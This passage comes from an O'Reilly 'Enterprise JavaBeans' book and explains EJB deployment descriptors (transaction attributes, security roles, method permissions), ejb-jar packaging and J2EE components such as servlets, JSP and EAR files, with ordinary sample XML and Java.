The container-transaction element includes a single trans-attribute element, which can have one of six values: NotSupported, Supports, Required, RequiresNew, Mandatory, and Never. These are the transactional attributes that we discussed in Chapter 8, "Transactions". In addition to the trans-attribute, the container-transaction element includes one or more method elements.

The method element itself contains at least two subelements: an ejb-name element, which specifies the name of the bean, and a method-name element, which specifies a subset of the bean's methods. The value of the method-name can be a method name or an asterisk (*), which acts as wildcard for all the bean's methods. There's a lot more complexity to handle overloading and other special cases, but that's enough for now; we'll discuss the rest later.

Here's an example that shows how the container-transaction element is typically used. Let's look again at the Cabin bean, which we've used as an example throughout. Let's assume that we want to give the transactional attribute Mandatory to the create() method; all other methods use the Required attribute:

  <container-transaction>
     <method>
        <ejb-name>CabinBean</ejb-name>
        <method-name>*</method-name>
     </method>
     <trans-attribute>Required</trans-attribute>
  </container-transaction>
  <container-transaction>
     <method>
        <ejb-name>CabinBean</ejb-name>
        <method-name>create</method-name>
     </method>
     <trans-attribute>Mandatory</trans-attribute>
  </container-transaction>

In the first container-transaction, we have a single method element that uses the wildcard character (*) to refer to all of the Cabin bean's methods. We set the transactional attribute for these methods to Required. Then, we have a second container-transaction element that specifies a single method of the Cabin bean: create(). We set the transactional attribute for this method to Mandatory. This setting overrides the wildcard setting; in container-transaction elements, specific method declarations always override more general declarations.

The following methods must be assigned transaction attributes for each bean declared in the deployment descriptor:

For entity beans:

  • All business methodsdefined in the remote interface (and all superinterfaces)

  • Createmethods defined in the home interface

  • Findmethods defined in the home interface

  • Removemethods defined in the EJBHome and EJBObject interface

For session beans:

  • All Business methods defined in the remote interface (and all superinterfaces)

For session beans, only the business methods have transaction attributes; the create and remove methods in session beans do not have truncation attributes.

10.6.2. Specifying Security Roles and Method Permissions

Two elements are used to define logical security roles and to specify which roles can call particular bean methods. The security-role element can contain an optional description, plus a single role-name that provides the name. An assembly-descriptor can contain any number of security-role elements.

It's important to realize that the security role names defined here are not derived from a specific security realm. These security role names are logical; they are simply labels that can be mapped to real security roles in the target environment at deployment time. For example, the following security-role declarations define two roles--everyone and administrator:

<security-role>
  <description>
     This role represents everyone who is allowed read/write access
     to existing cabin beans.
  </description>
  <role-name>everyone</role-name>
</security-role>
<security-role>
  <description>
     This role represents an administrator or manager who is
     allowed to create new cabin beans.  This role may also be a member
     or the everyone role.
  </description>
  <role-name>administrator</role-name>
</security-role>

These role names might not exist in the environment in which the beans will be deployed. There's nothing inherent about everyone that gives it fewer (or greater) privileges than an administrator. It's up to the deployer to map one or more roles from the target environment to the logical roles in the deployment descriptor. So for example, the deployer may find that the target environment has two roles, DBA (database administrator) and CSR (customer service representative), that map to the administrator and everyone roles defined in the security-role element.

10.6.2.1. Assigning roles to methods

Security roles in themselves wouldn't be worth much if you couldn't specify what the roles were allowed to do. That's where the method-permission element comes in. This element maps the security-role s to methods in the remote and home interfaces of the bean. A method-permission is a very flexible declaration that allows a many-to-many relationship between methods and roles. A method-permission contains an optional description, one or more method elements, and one or more role-name elements. The names specified in the role-name elements correspond to the roles that appear in the security-role elements. Here's one way to set method permissions for the Cabin bean:

<method-permission>
     <role-name>administrator</role-name>
     <method>
         <ejb-name>CabinBean</ejb-name>
         <method-name>*</method-name>
     </method>
</method-permission>
<method-permission>
     <role-name>everyone</role-name>
     <method>
         <ejb-name>CabinBean</ejb-name>
         <method-name>getDeckLevel</method-name>
     </method>
</method-permission>

In this example, the administrator role has access to all methods in the Cabin bean. The everyone role only has access to the getDeckLevel() method--it cannot access any of the other methods of the Cabin bean. Note that the specific method permissions are combined to form a union. The getDeckLevel() method, for example, is accessible by both the administrator and everyone roles, which is the union of the permissions declared in the descriptor. Once again, it's important to note that we still don't know what administrator and everyone mean. That's defined by the person deploying the bean, who must map these logical security roles to real security roles defined in the target environment.

All the methods defined in the remote or home interface and all superinterfaces, including the methods defined in the EJBObject and EJBHome interfaces, can be assigned security roles in the method-permission elements. Any method that is excluded will not be accessible by any security role.

10.6.3. Identifying Specific Methods

The method element is used by the method-permission and container-transaction elements to specify a specific group of methods in a particular bean. The method element always contains an ejb-nameelement that specifies the bean's name and a method-name element that specifies the method. It may also include a description, method-paramselements that specify method parameters used to resolve overloaded methods, and a method-intf element that specifies whether the method belongs to the bean's home or remote interface. This last element takes care of the possibility that the same method name might be used in both interfaces.

10.6.3.1. Wildcard declarations

The method name in a method element can be a simple wildcard (*). A wildcard applies to all methods of the bean's home and remote interfaces. For example:

<method>
    <ejb-name>CabinBean</ejb-name>
    <method-name>*</method-name>
</method>

Although it's tempting to combine the wildcard with other characters, don't. The value get*, for example, is illegal. The asterisk (*) character can only be used by itself.

10.6.3.2. Named method declarations

Named declarations apply to all methods defined in the bean's remote and home interfaces that have the specified name. For example:

<method>
    <ejb-name>CabinBean</ejb-name>
    <method-name>create</method-name>
</method>
<method>
    <ejb-name>CabinBean</ejb-name>
    <method-name>getDeckLevel</method-name>
</method>

These declarations apply to all methods with the given name in both interfaces. They don't distinguish between overloaded methods. For example, if the home interface for the Cabin bean is modified so that it has three overloaded create() methods as shown here, the previous method declaration would apply to all three methods:

public interface CabinHome javax.ejb.EJBHome {
    public Cabin create()
        throws CreateException, RemoteException;
    public Cabin create(int id)
        throws CreateException, RemoteException;
    public Cabin create(int id, Ship ship, double [][] matrix)
        throws CreateException, RemoteException;
    ...
}

10.6.3.3. Specific method declarations

Specific method declarations use the method-params element to pinpoint a specific method by listing its parameters. This allows you to differentiate between overloaded methods. The method-params element contains zero or more method-param elements which correspond, in order, to each parameter type (including multidimensional arrays) declared in the method. To specify a method with no arguments, use a method-params element with no method-param elements nested within it.

For an example, let's look again at our Cabin bean, to which we've added some overloaded create() methods in the home interface. Here are three method elements, each of which specifies unambiguously one of the create() methods by listing its parameters:

<method>
    <description>
         Method: public Cabin create();
    </description>
    <ejb-name>CabinBean</ejb-name>
    <method-name>create</method-name>
    <method-params>
    </method-params>
</method>
<method>
    <description>
         Method: public Cabin create(int id);
    </description>
    <ejb-name>CabinBean</ejb-name>
    <method-name>create</method-name>
    <method-params>
           <method-param>int</method-param>
    </method-params>
</method>
<method>
    <description>
         Method: public Cabin create(int id, Ship ship, double [][] matrix);
    </description>
    <ejb-name>CabinBean</ejb-name>
    <method-name>create</method-name>
    <method-params>
           <method-param>int</method-param>
           <method-param>com.titan.ship.Ship</method-param>
           <method-param>double [][]</method-param>
    </method-params>
</method>

10.6.3.4. Remote/home differentiation

There's one problem left. The same method name can be used in both the home and remote interfaces. To resolve this ambiguity, you can add the method-intf element to a method declaration as a modifier. Only two values are allowed for a method-intf element: Remote and Home.

In reality, it's unlikely that a good developer would use the same method names in both home and remote interfaces; that would lead to unnecessarily confusing code. Realistically, it's more likely that you'll need the method-intf element in a wildcarded declaration. For example, the following declaration specifies all of the methods in the remote interface of the Cabin bean:

<method>
    <ejb-name>CabinBean</ejb-name>
    <method-name>*</method-name>
    <method-intf>Remote</method-intf>
</method>

All these styles of method declarations can be used in any combination within any element that uses the method element. The method-permission elements are combined to form a union of role-to-method permissions. For example, in the following listing, the first method-permission element declares that the administrator has access to the Cabin bean's home methods (create and find methods). The second method-permission specifies that the everyone role has access to the findByPrimaryKey() method. This means that both roles (everyone and administrator) have access to the findByPrimaryKey() method.

<method-permission>
     <role-name>administrator</role-name>
     <method>
         <ejb-name>CabinBean</ejb-name>
         <method-name>*</method-name>
         <method-intf>Home</method_intf>
     </method>
</method-permission>
<method-permission>
     <role-name>everyone</role-name>
     <method>
         <ejb-name>CabinBean</ejb-name>
         <method-name>findByPrimaryKey</method-name>
     </method>
</method-permission>
Previous | Home | Next
10.5. Describing Beans | Book Index | 10.7. The ejb-jar File
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The ejb-jar File (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

10.7. The ejb-jar File

The JAR file format is a platform-independent format for compressing, packaging, and delivering several files together. Based on ZIP file format and the ZLIB compression standards, the JAR ( Java archive) packages and tool were originally developed to make downloads of Java applets more efficient. As a packaging mechanism, however, the JAR file format is a very convenient way to "shrink-wrap" components and other software for delivery to third parties. The original JavaBeans component architecture depends on JAR files for packaging, as does Enterprise JavaBeans. The goal in using the JAR file format in EJB is to package all the classes and interfaces associated with one or more beans, including the deployment descriptor, into one file.

The JAR file is created using a vendor-specific tool, or using the jar utility that is part of the Java 2, Standard Edition development kit. An ejb-jar file contains:

  • The XML deployment descriptor

  • The bean classes

  • The remote and home interfaces

  • The primary key class

  • Dependent classes and interfaces

The XML deployment descriptor must be located in the path META-INF/ejb-jar.xml, and must contain all the deployment information for all the beans in the ejb-jar file. For each bean declared in the XML deployment descriptor, the ejb-jar file must contain its bean class, remote and home interfaces, and dependent classes and interfaces. Dependent classes and interfaces are usually things like application-specific exceptions, business interfaces, and other super types, and dependent objects that are used by the bean. In the ejb-jar file for the TravelAgent bean, for example, we would include the IncompleteConversationalState application exception and the Ticket and CreditCard classes, as well as the remote and home interfaces to other beans referenced by the TravelAgent bean, like the Customer and ProcessPayment bean.[1]

[1]The EJB 1.1 specification also allows remote and home interfaces of referenced beans to be named in the manifest's Class-Path attribute, instead of including them in the JAR file. Use of the Class-Path entry in the JAR's manifest is addressed in more detail in the Java 2, Standard Edition specification.

The jarutility can be used from the command line to package a bean in a JAR file. Here is an example of how the jar utility was used to package the Cabin bean in Chapter 4, "Developing Your First Enterprise Beans":

\dev % jar cf cabin.jar com/titan/cabin/*.class META-INF/ejb-jar.xml

F:\..\dev>jar cf cabin.jar com\titan\cabin\*.class META-INF\ejb-jar.xml

You might have to create the META-INFdirectory first, and copy ejb-jar.xml into that directory. The c option tells the jar utility to create a new JAR file that contains the files indicated in subsequent parameters. It also tells the jar utility to stream the resulting JAR file to standard output. The f option tells jar to redirect the standard output to a new file named in the second parameter (cabin.jar). It's important to get the order of the option letters and the command-line parameters to match. You can learn more about the jar utility and the java.util.zip package in Java™ in a Nutshell by David Flanagan (O'Reilly), or Learning Java™, by Pat Niemeyer and Jonathan Knudsen (formerly Exploring Java ™, also published by O'Reilly).

The jar utility creates the file cabin.jar in the dev directory. If you're interested in looking at the contents of the JAR file, you can use any standard ZIP application (WinZip, PKZIP, etc.), or you can use the command jartvfcabin.jar.

10.7.1. The client-jar File

EJB 1.1 also allows for a client-jar file, which includes only the interfaces and classes need by a client application to access a bean. This would include the remote and home interfaces, primary key, and any dependent types that the client is exposed to, such as application exceptions. The specification does not say how this is delivered to the client, what exactly it contains, or how it is packaged with the ejb-jar file. In other words, the client-jar file is a fairly vendor-specific concept in EJB.

Previous | Home | Next
10.6. Describing Bean Assembly | Book Index | 11. Java 2, Enterprise Edition
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Java 2, Enterprise Edition (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

Chapter 11. Java 2, Enterprise Edition

Contents:

Servlets
Java Server Pages
Web Components and EJB
J2EE Fills in the Gaps
Fitting the Pieces Together
Future Enhancements

The specification for the Java 2, Enterprise Edition ( J2EE) defines a platform for developing web-enabled applications that includes Enterprise JavaBeans, Servlets, and Java Server Pages ( JSP). J2EE products are application servers that provide a complete implementation of the EJB, Servlet, and JSP technologies. In addition, the J2EE outlines how these technologies work together to provide a complete solution. To understand what J2EE is, it's important that we introduce Servlets and JSP and explain the synergy between these technologies and Enterprise JavaBeans.

At risk of spoiling the story, J2EE provides two kinds of "glue" to make it easier for components to interact. We've already seen both types of glue. The JNDI Enterprise Naming Context (ENC) is used to standardize the way components look up resources that they need. We've seen the ENC in the context of enterprise beans; in this chapter, we'll look briefly at how servlets, JSPs, and even some clients can use the ENC to find resources. Second, the idea of deployment descriptors--in particular, the use of XML to define a language for deployment descriptors--has been extended to servlets and JSP. Java servlets and server pages can be packaged with deployment descriptors that define their relationship to their environment. Deployment descriptors are also used to define entire assemblies of many components into applications.

11.1. Servlets

The Servlet 2.2 specification defines a server-side component model that can be implemented by web server vendors. Servlets provide a simple but powerful API for generating web pages dynamically. (Although servlets can be used for many different request-response protocols, they are predominantly used to process HTTP requests for web pages.)

Servlets are developed in the same fashion as enterprise beans; they are Java classes that extend a base component class and have a deployment descriptor. Once a servlet is developed and packaged in a JAR file, it can be deployed in a web server. When a servlet is deployed, it is assigned to handle requests for a specific web page or assist other servlets in handling page requests. The following servlet, for example, might be assigned to handle any request for the helloworld.html page on a web server:

import javax.servlet.*;
import javax.servlet.http.*;

public class HelloWorld extends HttpServlet {

  protected void doGet(HttpServletRequest req, HttpServletResponse response)
    throws ServletException,java.io.IOException {

    try {
     ServletOutputStream writer = response.getWriter(  );
     writer.println("<HTML><BODY>");
     writer.println("<h1>Hello World!!</h1>");
     writer.println("</BODY></HTML>");
  } catch(Exception e) {
  // handle exception
  }
  ...
}

When a browser sends a request for the page to the web server, the server delegates the request to the appropriate servlet instance by invoking the servlet's doGet( ) method.[1] The servlet is provided information about the request in the HttpServletRequest object, and can use the HttpServletResponse object to reply to the request. This simple servlet sends a short HTML document including the text "Hello World" back to the browser, which displays it. Figure 11-1 illustrates how a request is sent by a browser and serviced by a servlet running in a web server.

[1]HttpServlets also have a doPost( ) method which handles requests for forms.

Figure 11-1. Servlet servicing an HTTP request

Servlets are similar to session beans because they both perform a service and can directly access backend resources like a database through JDBC, but they do not represent persistent data. Servlets do not, however, have support for transactions and are not composed of business methods. Servlets respond to very specific requests, usually HTTP requests, and respond by writing to an output stream.

The Servlet specification is extensive and robust but also simple and elegant. It's a powerful server-side component model. You can learn more about servlets by reading Java™ Servlet Programming, by Jason Hunter and William Crawford (O'Reilly).

Previous | Home | Next
10.7. The ejb-jar File | Book Index | 11.2. Java Server Pages
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Java Server Pages (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

11.2. Java Server Pages

Java Server Pages ( JSP) is an extension of the servlet component model that simplifies the process of generating HTML dynamically. JSP essentially allows you to incorporate Java directly into an HTML page as a scripting language. In J2EE, the Java code in a JSP page can access the JNDI ENC, just like the code in a servlet. In fact, JSP pages (text documents) are translated and compiled into Java servlets, which are then run in a web server just like any other servlet--some servers do the compilation automatically at runtime. JSP can also be used to generate XML documents dynamically.

Previous | Home | Next
11.1. Servlets | Book Index | 11.3. Web Components and EJB
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Web Components and EJB (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

11.3. Web Components and EJB

Together Servlets and JSP provide a powerful platform for generating web pages dynamically. Servlets and JSP, which are collectively called web components, can access resources like JDBC and enterprise beans. Because web components can access databases using JDBC, they can provide a powerful platform for e-commerce by allowing an enterprise to expose its business systems to the web through an HTML interface. HTML has several advantages over more conventional client applications, in Java or any other language. The most important advantages have to do with distribution and firewalls. Conventional clients need to be distributed and installed on client machines, which is their biggest limitation: they require additional work for deployment and maintenance. Applets, which are dynamically downloaded, can be used to eliminate the headache of installation, but applets have other limitations like sandbox restrictions and heavyweight downloads. In contrast, HTML is extremely lightweight, doesn't require prior installation, and doesn't suffer from security restrictions. In addition, HTML interfaces can be modified and enhanced at their source without having to update the clients.

Firewalls present another signification problem in e-commerce. HTTP, the protocol over which web pages are requested and delivered, can pass through most firewalls without a problem, but other protocols like IIOP or JRMP cannot. This has proven to be a significant barrier to the success of distributed object systems that must support access from anonymous clients. This means that distributed object applications generally cannot be created for a client base that may have arbitrary firewall configurations. HTTP does not have this limitation, since practically all firewalls allow HTTP to pass unhindered.

The problems with distribution and firewalls have lead the EJB industry to adopt, in large part, an architecture based on the collaborative use of web components (Servlets/JSP) and Enterprise JavaBeans. While web components provide the presentation logic for generating web pages, Enterprise JavaBeans provides a robust transactional middle tier for business logic. Web components access enterprise beans using the same API used by application clients. Each technology is doing what it does best: Servlets and JSP are excellent components for generating dynamic HTML, while Enterprise JavaBeans is an excellent platform for transactional business logic. Figure 11-2 illustrates how this architecture works.

Figure 11-2. Using Servlets/JSP and EJB together

This web component-EJB architecture is so widely accepted that it begs the question, "Should there be a united platform?" This is the question that the J2EE specification is designed to answer. The J2EE specification defines a single application server platform that focuses on the interaction between these Servlets, JSP, and EJB. J2EE is important because it provides a specification for the interaction of web components with enterprise beans, making solutions more portable across vendors that support both component models.

Previous | Home | Next
11.2. Java Server Pages | Book Index | 11.4. J2EE Fills in the Gaps
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


J2EE Fills in the Gaps (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

11.4. J2EE Fills in the Gaps

The J2EE specification attempts to fill the gaps between the web components and Enterprise JavaBeans by defining how these technologies come together to form a complete platform.

One of the ways in which J2EE adds value is by creating a consistent programming model across web components and enterprise beans through the use of the JNDI ENC and XML deployment descriptors. A servlet in J2EE can access JDBC DataSource objects, environment entries, and references to enterprise beans through a JNDI ENC in exactly the same way that enterprise beans use the JNDI ENC. To support the JNDI ENC, web components have their own XML deployment descriptor that declares elements for the JNDI ENC (ejb-ref, resource-ref, env-entry) as well security roles and other elements specific to web components. In J2EE, web components (Servlets and JSP pages) along with their XML deployment descriptors, are packaged and deployed in JAR files with the extension .war, which stands for web ar chive. The use of the JNDI ENC, deployment descriptors, and JAR files in web components makes them consistent with the EJB programming model and unifies the entire J2EE platform. Here is a simple deployment descriptor for a web component:

<!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.2//EN"
"http://java.sun.com/j2ee/dtds/web-app_1_2.dtd">
<web-app>
  <servlet>
    <servlet-name> HelloWorld </servlet-name>
    <servlet-class> HelloWorld.class </servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name> HelloWorld </servlet-name>
    <url-pattern> /HelloWorld.jsp </url-pattern>
  </servlet-mapping>
  <session-config>
    <session-timeout>1</session-timeout>
  </session-config>
  <ejb-ref>
      <ejb-ref-name>ejb/ShipBean</ejb-ref-name>
      <ejb-ref-type>Entity</ejb-ref-type>
      <home>com.titan.ship.ShipBean</home>
      <remote>com.titan.ship.Ship</remote>
  </ejb-ref>
</web-app>

Use of the JNDI ENC makes it much simpler for web components to access Enterprise JavaBeans. The web component developer doesn't need to be concerned with the network location of beans; the server will map the ejb-ref elements listed in the deployment descriptor to the beans at deployment time. The JNDI ENC also supports access to a javax.jta.UserTransaction object, as is the case in EJB. The UserTransaction object allows the web component to manage transactions explicitly. The transaction context must be propagated to any enterprise beans accessed within the scope of the transaction (according to the transaction attribute of the bean method). A .war file can contain several servlets and JSP documents, which share an XML deployment descriptor.

J2EE also defines an .ear(Enterprise archive) file, which is a JAR file for packaging Enterprise JavaBean JAR files and web component JAR files (.war files) together into one complete deployment called a J2EE Application. A J2EE Application has its own XML deployment descriptor that points to the EJB and web component JAR files (called modules) as well as other elements like icons, descriptions, and the like. When a J2EE Application is created, interdependencies like ejb-ref elements can be resolved and security roles can be edited to provide a unified view of the entire web application. Here is a simple application deployment descriptor:

<!DOCTYPE application PUBLIC "-//Sun Microsystems, Inc.//DTDJ2EE Application 1.2//EN" "http://java.sun.com/j2ee/dtds/application_1_2.dtd">

<application>
   <display-name>MyApplication</display-name>
   <module>
     <ejb>
        shipbean.jar
     </ejb>
   </module>
   <module>
     <web>
        <web-uri>
          helloworld.war
        </web-uri>
     </web>
   </module>
   <security-role>
      <role-name>Admistrator</role-name>
   </security-role>
</application>

The J2EE Enterprise Archive (.ear) file would contain the EJB JAR files and the web component .war files. Figure 11-3 illustrates the file structure inside a J2EE archive file.

Figure 11-3. Contents of a J2EE EAR file

11.4.1. J2EE Application Client Components

In addition to integrating web and enterprise bean components, J2EE introduces a completely new component model: the application client component. An application client component is a Java application that resides on a client machine and accesses enterprise bean components on the J2EE server. Client components also have access to a JNDI ENC that operates the same way as the JNDI ENC for web and enterprise bean components. The client component also includes an XML deployment descriptor that declares the env-entry, ejb-ref, and resource-ref elements of the JNDI ENC in addition to a description, display-name, and icon that can be used to represent the client component in a deployment tool.

A client component is simply a Java program that uses the JNDI ENC to access environment properties, enterprise beans, and resources (JDBC, JavaMail, etc.) made available by the J2EE server. Client components reside on the client machine, not the J2EE server. Here is an extremely simple component:

public class MyJ2eeClient {

    public static void main(String [] args) {

        InitialContext jndiCntx = new InitialContext(  );

        Object ref = jndiCntx.lookup("java:comp/env/ejb/ShipBean");
        ShipHome home = (ShipHome)
            PortableRemoteObject.narrow(ref,ShipHome.class);

        Ship ship = home.findByPrimaryKey(new ShipPK(1));
        String name = ship.getName(  );
        System.out.println(name);
    }
}

MyJ2eeClient illustrates how a client component is written. Notice that the client component did not need to use a network-specific JNDI InitialContext. In other words, we did not have to specify the service provider in order to connect to the J2EE server. This is the real power of the J2EE Application client component: location transparency. The client component does not need to know the exact location of the Ship bean or choose a specific JNDI service provider; the JNDI ENC takes this care of locating the bean.

When application components are developed, an XML deployment descriptor is created that specifies the JNDI ENC entries. At deployment time, a vendor-specific J2EE tool generates the class files needed to deploy the component on client machines. The following code shows the deployment descriptor used by the MyJ2eeClient client component:

<!DOCTYPE application-client PUBLIC "-//Sun Microsystems,
Inc.//DTD J2EE Application Client 1.2//EN" "http://
java.sun.com/j2ee/dtds/application-client_1_2.dtd">

<application-client>
  <display-name>MyClient</display-name>
  <ejb-ref>
      <ejb-ref-name>ejb/ShipBean</ejb-ref-name>
      <ejb-ref-type>Entity</ejb-ref-type>
      <home>com.titan.ship.ShipHome</home>
      <remote>com.titan.ship.Ship</remote>
  </ejb-ref>
</application-client>

A client component is packaged into a JAR file with its XML deployment descriptor and can be included in a J2EE Application. The following application deployment descriptor shows how the client component is declared:

<!DOCTYPE application PUBLIC "-//Sun Microsystems, Inc.//DTDJ2EE
Application 1.2//EN" "http://java.sun.com/j2ee/dtds/application_1_2.dtd">

<application>
   <display-name>MyApplication</display-name>
   <module>
     <ejb>
        shipbean.jar
     </ejb>
   </module>
   <module>
     <web>
        <web-uri>
          helloworld.war
        </web-uri>
     </web>
   </module>
   <module>
     <java>
        myclient.jar
     </java>
   </module>
   <security-role>
      <role-name>Admistrator</role-name>
   </security-role>
</application>

Once a client component is included in the J2EE Application deployment descriptor, it can be packaged in the EAR file with the other components, as Figure 11-4 illustrates.

Figure 11-4. Contents of a J2EE EAR file with Application component

J2EE's application client component specification doesn't cover authentication, but it does require that client components authenticate (log in) before accessing any beans. This omission makes it difficult to develop truly portable client components because different vendors will require different authentication mechanisms. In a future version of the J2EE specification, client components may be required to use the Java Authentication and Authorization Service ( JAAS), which would provide a consistent authorization mechanism across different implementations.

11.4.2. Guaranteed Services

The J2EE specification requires application servers to support a specific set of protocols and Java enterprise extensions. This ensures a consistent platform for deploying J2EE applications. J2EE application servers must provide the following "standard" services:

Enterprise JavaBeans 1.1

J2EE products must support the complete specification.

Servlets 2.2

J2EE products must support the complete specification.

Java Sever Pages 1.1

J2EE products must support the complete specification.

HTTP and HTTPS

Web components in a J2EE server service both HTTP and HTTPS requests. The Servlets specification itself only requires support for HTTP. The J2EE product must be capable of advertising HTTP 1.0 and HTTPS (HTTP 1.0 over SSL 3.0) on ports 80 and 443 respectively.

Java RMI-IIOP 1.0

As was the case with EJB 1.1, only the semantics of Java RMI-IIOP are required; the underlying protocol need not be IIOP. Therefore, components must use return and parameter types that are compatible with IIOP, and must use the PortableRemoteObject.narrow( ) method.

JavaIDL

Web components and enterprise beans must be able to access CORBA services hosted outside the J2EE environment using JavaIDL, a standard part of the Java 2 platform.

JDBC 2.0

J2EE requires support for the JDBC 2.0 Standard Extension, but not the JDBC 2.0 Optional Package.

JNDI 1.2

Web and enterprise bean components must have access to the JNDI ENC, which make available EJBHome objects, JTA UserTransaction objects, JDBC DataSource objects, and optionally Java Messaging Service connection factory objects.

JavaMail 1.1 and JAF 1.0

A J2EE products must provide access to the JavaMail API for sending basic Internet mail messages (the protocol is not specified) from web and enterprise bean components. J2EE products are not required to support message store protocols, which means you must be able to send mail but not necessarily to read mail. JAF is the Java Activation Framework, which is need to support different MIME types and is required for support of JavaMail functionality.

Java Transaction API 1.0

Web and enterprise bean components must have access to JTA UserTransaction objects via the JNDI ENC under the "java:comp/UserTransaction" context. The UserTransaction interface is used for explicit transaction control.

Java Messaging Service 1.0

J2EE products must support the JMS API definitions (base classes and interfaces), but are not required to provide a JMS implementation. This means that JMS is an optional service in J2EE. If a JMS implementation is supported, the connection factories can be made available through the JNDI ENC.

11.4.3. Connectivity and Interoperability

The J2EE specification currently specifies two mechanisms that can be used to connect non-J2EE systems with a J2EE system: client access to web component services and connectivity with external CORBA services via JavaIDL. Client connectivity with web components is via HTTP/HTTPS. In other words, any client that can make HTTP requests can access J2EE servlets and JSP pages, regardless of how the client is implemented. The requirement that web and enterprise bean components support JavaIDL ensures access to external CORBA services, CORBA objects hosted on ORBs outside the J2EE application server.

While these mechanisms support connectivity (the ability to connect things together), interoperability (the ability for services to collaborate) between J2EE servers or other kinds of servers is not yet supported. In fact, J2EE doesn't even require that J2EE servers of the same brand be interoperable. Security and transactional propagation between web components and enterprise beans are loosely specified in the J2EE specification; this area of the specification needs to be improved.

To have real interoperability, web and enterprise bean components must be able to exchange information about the context in which they operate when they request services for other J2EE processes. Just as EJB propagates security and transaction context from one bean to the next, interoperable services must share the same kind of contextual information. Although HTTP and JavaIDL provide for connectivity with external clients and services, they do not provide interoperability. HTTP, for example, doesn't support interoperability for security and transactions. CORBA interoperability is really nonexistent, since mechanisms for propagating security and transactional context between a J2EE server and CORBA services are not specified.

Previous | Home | Next
11.3. Web Components and EJB | Book Index | 11.5. Fitting the Pieces Together
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Fitting the Pieces Together (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

11.5. Fitting the Pieces Together

To illustrate how a J2EE platform would be used, imagine using a J2EE server in Titan's reservation system. To build this system, we would use the TravelAgent, Cabin, ProcessPayment, Customer, and other beans we defined in this book, along with web components that would provide a HTML interface.

The web components would access the enterprise beans in the same way that any Java client would, by using the beans' remote and home interfaces. The web components would generate HTML to represent the reservation system.

Figure 11-5 shows a web page generated by a servlet or JSP page for the Titan reservation system. This web page was generated by web components on the J2EE server. The person using the reservation system would have been guided through a login page, a customer selection page, and cruise selection page, and would be about to choose an available cabin for the customer.

Figure 11-5. HTML interface to the Titan reservation system

The list of available cabins was obtained from the TravelAgent bean, whose listAvailableCabins( ) method was invoked by the servlet that generated the web page. The list of cabins was used to create a HTML list box in a web page that was loaded into the user's browser. When the user chooses a cabin and submits the selection, an HTTP request is sent to the J2EE server. The J2EE server receives the request and delegates it to the ReservationServlet, which invokes the TravelAgent.bookPassage( ) method to do the actual reservation. The Ticket information returned by the bookPassage( ) method is then used to create another web page that is sent back to the user's browser. Figure 11-6 shows how the different components work together to process this request.

Figure 11-6. J2EE Titan Reservation System

Previous | Home | Next
11.4. J2EE Fills in the Gaps | Book Index | 11.6. Future Enhancements
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Future Enhancements (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

11.6. Future Enhancements

There are several areas that are targeted for improvement in the next major release of the J2EE specification. Interoperability is perhaps the most important issue to be addressed. Interoperability will be improved by requiring support of IIOP as the RMI protocol for EJB, because IIOP does a decent job of handling transaction propagation between servers. Security, however, will offer its own challenges as the specification authors tackle problems concerned with negotiating security policies between environments.

The use of the Java Authorization and Authentication Service ( JAAS) may be specified for client components, which would make them more portable. A J2EE SPI may be defined, which will offer vendors some level of pluggable services. This will make it easier to use one vendor's servlet container with another vendor's EJB container. The J2EE SPI will surely include a connector specification that allows legacy systems to be plugged into a J2EE platform, so that connections to resources like ERP (SAP, PeopleSoft, etc.) systems can be managed and accessed in the same fashion as JDBC, JavaMail, and JMS.

Previous | Home | Next
11.5. Fitting the Pieces Together | Book Index | A. The Enterprise JavaBeans API
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Colophon (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

Colophon

Our look is the result of reader comments, our own experimentation, and feedback from distribution channels. Distinctive covers complement our distinctive approach to technical topics, breathing personality and life into potentially dry subjects.

Melanie Wang was the production editor and proofreader for Enterprise JavaBeans™, Second Edition. Colleen Gorman was the copyeditor. Maureen Dempsey and Nicole Arigo performed quality control reviews. Ellen Troutman Zaig wrote the index.

Hanna Dyer designed the cover of this book, based on a series design by Edie Freedman. The image of the toy wooden train is from the Stock Options collection. It was manipulated in Adobe Photoshop by Michael Snow. The cover layout was produced by Kathleen Wilson using QuarkXPress 3.3, the Bodoni Black font from URW Software, and BT Bodoni Bold Italic from Bitstream. The inside layout was designed by Nancy Priest.

Text was produced in FrameMaker 5.5.6 using a template implemented by Mike Sierra. The heading font is Bodoni BT; the text font is New Baskerville. The illustrations that appear in the book were created in Macromedia Freehand 8 and Adobe Photoshop 5 by Robert Romano and Rhon Porter.

Previous | Home
Index | Book Index
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Enterprise Java Beans -- Copyright Statement (Enterprise JavaBeans)

 Enterprise JavaBeans™ Enterprise JavaBeans Search this book

Copyright © 2001 O'Reilly & Associates, Inc. All rights reserved.

Enterprise JavaBeans™, Second Edition
By Richard Monson-Haefel
ISBN 1-56592-869-5E

Print book copyright © 1999, 2000 O'Reilly & Associates, Inc. All rights reserved.
Published by O'Reilly & Associates, Inc., 101 Morris Street, Sebastopol, CA 95472.

This electronic publication is intended for use by one individual. As such, you may make copies for your own personal use. However, you may not provide copies to others, or make this publication available to others over a LAN or other network. You may not reprint, offer for sale, or otherwise re-use material from this publication without the explicit written permission of O'Reilly & Associates, Inc.

You can purchase print editions of these books directly from O'Reilly & Associates, Inc. or from bookstores that carry O'Reilly & Associates books.

Logos and Trademarks

